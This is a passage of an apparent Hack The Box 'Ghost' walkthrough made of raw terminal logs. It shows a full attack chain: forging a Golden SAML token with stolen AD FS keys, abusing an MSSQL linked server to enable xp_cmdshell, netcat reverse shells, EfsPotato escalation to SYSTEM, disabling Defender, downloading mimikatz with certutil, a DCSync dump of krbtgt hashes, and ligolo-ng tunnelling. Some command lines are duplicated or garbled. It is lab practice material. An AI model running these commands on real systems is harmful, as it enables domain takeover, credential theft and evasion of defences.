Yz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);❯ cat token | base64 -d > EncryptedPfx.bin
❯ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > dkmKey.bin❯ python3 ADFSpoof.py -b ../EncryptedPfx.bin ../dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
dministrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOSTdministrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' - Parrot Terminal ___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/GoldenSAML/ADFSpoof/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.utcnow()
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfUk9aMEVGIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wMi0wN1QyMTowNDoxNy4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfNjBWN1M4IiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzYwVjdTOCI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjZRRW5ua2lVN2UvZmNpMTFZUUxkZEovZGpWeFJORGJ0a25sb1BKS05uM289PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlJyemFnSko2Sk1SVnY0aUprYTZoV0RqTW5yQkZ3cmxsSVhIYWNLalBHOXBOa25zRmc3TlVxN2FSNWNhd3cyNnd3NGw2M1ZtOG15NjZoc2NHdzFFcHdmN2JBaVZzalNsQVN2cEptVTNNS1IxVEVNU3ZGY1VtOWF3ejIyN3NWcDNiVzQyb2FOY1R0MDNIZWYwcHhVOVNydVV4OGZGSUYwTU5BNzFUSjA3eUptZkJPK3NHY3ltSnN6S0NIalJnUmMrM08wSVcxZzZ3amY0alhLUWhmdU9Hd3RRc1JYdFdMS3o5ekp5b25ZRGRadjZoazRSb3FWdENOYlBoa0JNWGpnS2w0YmNNaHFDUkQ3eTBUVUlvWmQ3SUJRM1p6OFoySWd2TUJTQXJzQ3pEZTU3VStZT2t5Q2FFQTA0TVVaMXpodVZSRldiVW93Zkt0Q2lZMXo1SXVFOGNYQ1dMckZMWkg4a21QTWttZnA3c01jYlphQzduMGVPVkF3a29wS0c3akJwNkpzMjBTRGpvOHYyUDBTYVY3ZVdicHpBSmlXMzdKMnFydXcySXF1LzRPK0l1SFYzN0dPZlNPYUcrS0VDU3NabzdUUE1kbHd3OTh5aTFmcUF5WlRGczVaY0RJcWl4Kzk3QVdDVk9uTjJSSG1ZZDVrV3gyYVZDbWRkRTVTZzM1VHBrblJmbm9UMzFPSWtHWW9xclRqSWdUZ0RWZ1c2cHNvbUpoRXFib1Nqck5BeWtyQnF4Z2dHYWhJNHBhVHdTd1lrUVpzUEJIZ2F6VkR2dnRET1YxQy9hZmNGY2x1Y2FTTG1iTzluSDZETDVlVmFLSzNiL1hwcVEwM0FuaFd4NWdsS2ErRHdnc2tQMXVlQUgyMWxCa2hGa09lMjNmVStSdFpISzRaZExXWXdQelFZPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1RcYWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNS0wMi0wN1QyMTowOToxNy4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgTm90T25PckFmdGVyPSIyMDI1LTAyLTA3VDIyOjA0OjE3LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkdIT1NUXGFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48L0F0dHJpYnV0ZVN0YXRlbWVudD48QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDI1LTAyLTA3VDIxOjA0OjE2LjUwMFoiIFNlc3Npb25JbmRleD0iXzYwVjdTOCI%2BPEF1dGhuQ29udGV4dD48QXV0aG5Db250ZXh0Q2xhc3NSZWY%2BdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L0F1dGhuQ29udGV4dENsYXNzUmVmPjwvQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb dc01.ghost.htb intranet.ghost.htb federation.ghost.htb gitea.ghost.htb core.ghost.htbSELECT+SRVNAME+FROM+SYSSERVERSEXECUTE('EXECUTE+AS+LOGIN+%3d+''sa''%3bSELECT+SYSTEM_USER')+AT+[PRIMARY]EXEC('EXEC AS LOGIN = ''sa'';EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "whoami"') AT [PRIMARY]❯ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Fri Feb 7 22:36:05 2025 nc.exe
❯ smbserver.py smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"net+use+x:+\\10.10.16.7\smbFolder+/user:gzzcoo+gzzcoo123"')+AT+[PRIMARY]EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"x:\\nc.exe+-e+cmd+10.10.16.7+443"')+AT+[PRIMARY]❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49834
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt service\mssqlserverPS C:\ProgramData> hostname
hostname
PRIMARY
PS C:\ProgramData> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.0.0.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.254
PS C:\ProgramData> C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledPS C:\ProgramData> dir C:\Windows\Microsoft.Net\Framework\
dir C:\Windows\Microsoft.Net\Framework\
Directory: C:\Windows\Microsoft.Net\Framework
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:27 AM v1.0.3705
d----- 5/8/2021 1:27 AM v1.1.4322
d----- 5/8/2021 1:15 AM v2.0.50727
d----- 2/7/2025 9:56 AM v4.0.30319 ❯ ls -l EfsPotato.cs
.rw-rw-r-- kali kali 25 KB Fri Feb 7 22:50:45 2025 EfsPotato.csPS C:\ProgramData> copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
PS C:\ProgramData> ls
ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 5/8/2021 1:27 AM Microsoft
d----- 2/2/2024 8:36 PM Package Cache
d----- 5/8/2021 1:15 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:15 AM SoftwareDistribution
d----- 5/8/2021 2:33 AM ssh
d----- 1/31/2024 6:28 PM USOPrivate
d----- 5/8/2021 1:15 AM USOShared
-a---- 2/7/2025 1:50 PM 25441 EfsPotato.cs PS C:\ProgramData> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
PS C:\ProgramData> ls
ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 5/8/2021 1:27 AM Microsoft
d----- 2/2/2024 8:36 PM Package Cache
d----- 5/8/2021 1:15 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:15 AM SoftwareDistribution
d----- 5/8/2021 2:33 AM ssh
d----- 1/31/2024 6:28 PM USOPrivate
d----- 5/8/2021 1:15 AM USOShared
-a---- 2/7/2025 1:50 PM 25441 EfsPotato.cs
-a---- 2/7/2025 1:53 PM 17920 EfsPotato.exe PS C:\ProgramData> copy x:\nc.exe C:\ProgramData\nc.exe
copy x:\nc.exe C:\ProgramData\nc.exe
PS C:\ProgramData> ls
ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 5/8/2021 1:27 AM Microsoft
d----- 2/2/2024 8:36 PM Package Cache
d----- 5/8/2021 1:15 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:15 AM SoftwareDistribution
d----- 5/8/2021 2:33 AM ssh
d----- 1/31/2024 6:28 PM USOPrivate
d----- 5/8/2021 1:15 AM USOShared
-a---- 2/7/2025 1:50 PM 25441 EfsPotato.cs
-a---- 2/7/2025 1:53 PM 17920 EfsPotato.exe
-a---- 2/7/2025 1:36 PM 28160 nc.exe ❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...PS C:\ProgramData> .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
.\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19a98a00)
[+] Get Token: 908
[!] process with pid: 272 created.
==============================❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49800
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData>whoami
whoami
nt authority\systemPS C:\ProgramData> Set-MpPreference -DisableRealtimeMonitoring $True❯ ls -l mk.exe
.rw-r--r-- kali kali 1.2 MB Fri Feb 7 22:57:17 2025 mk.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
**** Online ****
000000 ...
131308
CertUtil: -URLCache command completed successfully.PS C:\ProgramData> .\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb" exit
.\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb"
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb
[DC] 'corp.ghost.htb' will be the domain
[DC] 'PRIMARY.corp.ghost.htb' will be the DC server
[DC] 'CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )_hmac dfel usuari
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 1/31/2024 6:34:01 PM
Object Security ID : S-1-5-21-2034262909-2733679486-179904498-502
Object Relative ID : 502
Credentials:
Hash NTLM: 69eb46aa347a8c68edb99be2725403ab
ntlm- 0: 69eb46aa347a8c68edb99be2725403ab
lm - 0: fceff261045c75c4d7f6895de975f6cb
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4acd753922f1e79069fd95d67874be4c
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.GHOST.HTBkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
aes128_hmac (4096) : ea18711cfd69feef0c8efba75bca9235
des_cbc_md5 (4096) : b3e070025110ce1f
* Primary:Kerberos *
Default Salt : CORP.GHOST.HTBkrbtgt
Credentials
des_cbc_md5 : b3e070025110ce1f
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 673e591f1e8395d5bf9069b7ddd084d6
02 1344e8aade9169b015f2ca4ddf8a04bd
03 021a6b424b5372ef3511673b04647862
04 673e591f1e8395d5bf9069b7ddd084d6
05 1344e8aade9169b015f2ca4ddf8a04bd
06 122def4643832d604a97c9c02e29cb38
07 673e591f1e8395d5bf9069b7ddd084d6
08 2526b041b761a9ae973e69ee23d8ab97
09 2526b041b761a9ae973e69ee23d8ab97
10 43c410fd94dc2ca31c3d12cd76ea5e5c
11 b51d328dbb94b922331d54ffd54134d5
12 2526b041b761a9ae973e69ee23d8ab97
13 99c658551700bb8b4dbe0503acade3cb
14 b51d328dbb94b922331d54ffd54134d5
15 8a1e17a5a2aa32b2120a39ba99881020
16 8a1e17a5a2aa32b2120a39ba99881020
17 9ebecd6b439ee2e7847819e54be70d8f
18 ff83c6eb25c8da26d5332aeeaeae4cb8
19 2ee6795b19f71e9c5aa2ab2f902a0c55
20 3722d9593e0e483720a657bcb56526b2
21 7bdac8f5dfed431bc7232ff1ca6ebb4d
22 7bdac8f5dfed431bc7232ff1ca6ebb4d
23 42b46cd4462f0d4c4ae5da7757a2ff90
24 7648ab0ac431ceada83b321ca468fccf
25 7648ab0ac431ceada83b321ca468fccf
26 7af11e3e17a21afd61955ed5a5f52405
27 9dfbb554b398bdf2e8c51e1b20208c08
28 49a35ae4b703b7c47b44708fa235c581
29 8a24eb5a1a3155556064b79149b00211❯ /opt/ligolo/proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: 0.7.5
ligolo-ng » ❯ sudo ip tuntap add user kali mode tun ligolo
❯ sudo ip link set ligolo up
❯ sudo ip route add 10.0.0.0/24 dev ligolo
❯ sudo ntpdate -s ghost.htb❯ ls
agent.exe proxy
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
**** Online ****
000000 ...
5f2c00
CertUtil: -URLCache command completed successfully.PS C:\ProgramData> .\agent.exe -connect 10.10.16.7:11601 -ignore-cert
.\agent.exe -connect 10.10.16.7:11601 -ignore-cert
time="2025-02-07T14:07:26-08:00" level=warning msg="warning, certificate validation disabled"
time="2025-02-07T14:07:26-08:00" level=info msg="Connection established" addr="10.10.16.7:11601"/opt/ligolo/proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
